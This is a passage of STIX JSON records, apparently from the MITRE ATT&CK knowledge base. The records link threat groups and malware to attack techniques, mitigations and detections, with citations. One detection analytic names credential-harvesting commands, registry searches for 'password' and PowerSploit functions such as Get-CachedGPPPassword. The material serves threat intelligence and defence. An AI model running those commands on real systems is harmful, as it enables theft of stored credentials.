and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T16:08:11.123Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used WMIC to executed a remote XSL script.(Citation: ESET Lazarus Jun 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--afd398cc-b093-429c-88f5-e7f661567fd1", "created": "2023-03-26T22:07:46.270Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike SUNSPOT Implant January 2021", "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T22:07:46.270Z", "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afdf9b0e-5539-464a-a403-202eaedb13cd", "type": "relationship", "created": "2020-05-14T14:38:22.650Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}], "modified": "2020-05-15T19:13:48.360Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has injected itself into remote processes to encrypt files using a combination of <code>VirtualAlloc</code>, <code>WriteProcessMemory</code>, and <code>CreateRemoteThread</code>.(Citation: CrowdStrike Ryuk January 2019)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--afe14ecc-81be-4724-aea6-cc1266425d1a", "created": "2022-01-26T22:07:08.613Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bisonal](https://attack.mitre.org/software/S0268) has used the MPRESS packer and similar tools for obfuscation.(Citation: Talos Bisonal Mar 2020) ", "modified": "2022-04-13T18:57:17.509Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afe166b7-d849-4635-8e85-65b9d0bf11c5", "type": "relationship", "created": "2020-05-20T15:19:50.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-05-20T15:19:50.991Z", "description": "Consider disabling Windows administrative shares.", "relationship_type": "mitigates", "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--afe9286d-076f-49af-90f3-11ebbe82ad40", "created": "2022-04-15T12:43:15.308Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Diavol](https://attack.mitre.org/software/S0659) can use the ARP table to find remote hosts to scan.(Citation: Fortinet Diavol July 2021) ", "modified": "2022-04-15T12:43:15.308Z", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--afea3455-9565-4e5d-b431-e845ec1722d2", "created": "2021-02-25T16:48:05.766Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Unit 42 IronNetInjector February 2021 ", "url": "https://unit42.paloaltonetworks.com/ironnetinjector/", "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Turla](https://attack.mitre.org/groups/G0010) has used IronPython scripts as part of the [IronNetInjector](https://attack.mitre.org/software/S0581) toolchain to drop payloads.(Citation: Unit 42 IronNetInjector February 2021 )", "modified": "2022-05-20T17:02:59.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afea5bf8-f6e0-4b93-8de6-da2e0cd6f569", "type": "relationship", "created": "2021-06-29T15:52:55.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-29T15:52:55.597Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use scheduled tasks to achieve persistence.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afeb1494-e640-410c-8e81-62970e22f8a7", "type": "relationship", "created": "2021-01-07T20:50:42.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intrinsec Egregor Nov 2020", "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}], "modified": "2021-03-22T22:05:59.635Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) can conduct Active Directory reconnaissance using tools such as Sharphound or [AdFind](https://attack.mitre.org/software/S0552).(Citation: Intrinsec Egregor Nov 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afee7475-8e61-4bed-98f6-2cee6926e1c8", "type": "relationship", "created": "2020-02-20T18:50:53.671Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/library/jj865668.aspx", "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.", "source_name": "Microsoft Disable NTLM Nov 2012"}], "modified": "2020-03-25T15:17:30.867Z", "description": "Consider disabling or restricting NTLM.(Citation: Microsoft Disable NTLM Nov 2012)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aff391e1-3b62-4906-8f44-f44c692ef1fc", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor executed commands and arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aff9bcd9-34b9-4c94-9ce0-dd4852118f91", "type": "relationship", "created": "2020-10-21T02:14:05.535Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 CookieMiner Jan 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."}], "modified": "2020-10-21T02:14:05.535Z", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has retrieved iPhone text messages from iTunes phone backup files.(Citation: Unit42 CookieMiner Jan 2019)", "relationship_type": "uses", "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--afffac16-cc57-4b01-8325-d88ab73454e1", "type": "relationship", "created": "2020-06-26T16:17:18.191Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-26T16:17:18.191Z", "description": "[Goopy](https://attack.mitre.org/software/S0477) has checked for the Google Updater process to ensure [Goopy](https://attack.mitre.org/software/S0477) was loaded properly.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b001d78a-afd6-47bb-bdb5-73e967e35a13", "created": "2022-09-29T18:30:12.366Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T18:30:12.366Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b005a049-ecf3-4378-bff6-983b16f92482", "created": "2022-02-09T14:32:47.571Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used QuickZip to archive stolen files before exfiltration.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T14:58:48.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b00793a5-09a4-4291-97cb-b3d908625085", "created": "2023-08-23T22:24:50.738Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:39:14.072Z", "description": "Monitor newly executed processes for local file systems and remote file shares for files containing insecurely stored credentials.\n\nNote: Pseudocode Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for command-line instances of searching the Windows Registry for insecurely stored credentials. This can be accomplished using the query functionality of the [Reg](https://attack.mitre.org/software/S0075) system utility, by looking for keys and values that contain strings such as \u201cpassword\u201d. In addition, adversaries may use toolkits such as\u00a0[PowerSploit](https://attack.mitre.org/software/S0194)  in order to dump credentials from various applications such as IIS. Accordingly, this analytic looks for invocations of reg.exe in this capacity as well as that of several PowerSploit modules with similar functionality.\n\nAnalytic 1 - Credentials in Files & Registry\n\n<code>(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\")  \nCommandLine=\"*reg* query HKLM /f password /t REG_SZ /s*\" OR\nCommandLine=\"reg* query HKCU /f password /t REG_SZ /s\" OR\nCommandLine=\"*Get-UnattendedInstallFile*\" OR\nCommandLine=\"*Get-Webconfig\" OR\nCommandLine=\"*Get-ApplicationHost*\" OR\nCommandLine=\"*Get-SiteListPassword*\" OR\nCommandLine=\"*Get-CachedGPPPassword*\" OR\nCommandLine=\"*Get-RegistryAutoLogon*\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0099b28-bcb8-4214-8166-d9caed1b6491", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 1", "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"}], "modified": "2020-01-17T22:22:30.737Z", "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.(Citation: ESET Sednit Part 1)", "relationship_type": "uses", "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b00ac705-cb96-4c05-9e90-b2663387d80c", "created": "2023-03-06T23:34:22.242Z", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T23:34:22.242Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) can use a variety of API calls for persistence and defense evasion.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b00c9e09-d98f-40b4-bc4e-0c3e9fe873e1", "created": "2019-04-12T16:59:08.040Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}, {"source_name": "US-CERT SHARPKNOT June 2018", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf", "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009.(Citation: US-CERT SHARPKNOT June 2018)(Citation: Novetta Blockbuster)", "modified": "2022-07-28T18:47:12.008Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b00d5e69-736f-47b9-befd-f5593550ad11", "created": "2022-09-29T20:47:16.696Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T18:40:50.924Z", "description": "During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors executed JavaScript code via `mshta.exe`.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b01341a2-dacf-4780-acf9-3325f8597409", "type": "relationship", "created": "2021-11-29T19:10:14.954Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T19:10:14.954Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can write its configuration file to <code>Software\\Classes\\scConfig</code> in either <code>HKEY_LOCAL_MACHINE</code> or <code>HKEY_CURRENT_USER</code>.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0147ed6-a725-4899-82dd-4675aeecbd72", "type": "relationship", "created": "2021-11-19T15:25:07.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "modified": "2021-11-19T15:25:07.842Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) can enumerate processes on a targeted system.(Citation: Trend Micro DRBControl February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b01660bb-1725-42f4-9419-495b8710e930", "created": "2023-03-17T14:10:39.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"}, {"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}, {"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T15:20:20.789Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) packed malicious .db files with Themida to evade detection.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b0198291-ac44-47c5-9730-c11acfb1999d", "type": "relationship", "created": "2021-12-07T15:14:11.891Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-07T15:14:11.891Z", "description": "(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b019c5ea-be5e-453a-9ed6-e86384c92259", "type": "relationship", "created": "2021-10-06T21:37:07.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-14T22:58:54.503Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) prompts the user to input credentials using a native macOS dialog box leveraging the system process <code>/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment</code>.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b019ea9e-afc4-4015-b690-677a09178feb", "type": "relationship", "created": "2020-03-17T18:19:22.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "source_name": "Cybereason Oceanlotus May 2017"}, {"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}], "modified": "2020-03-17T18:19:22.984Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used macros, COM scriptlets, and VBS scripts.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017) ", "relationship_type": "uses", 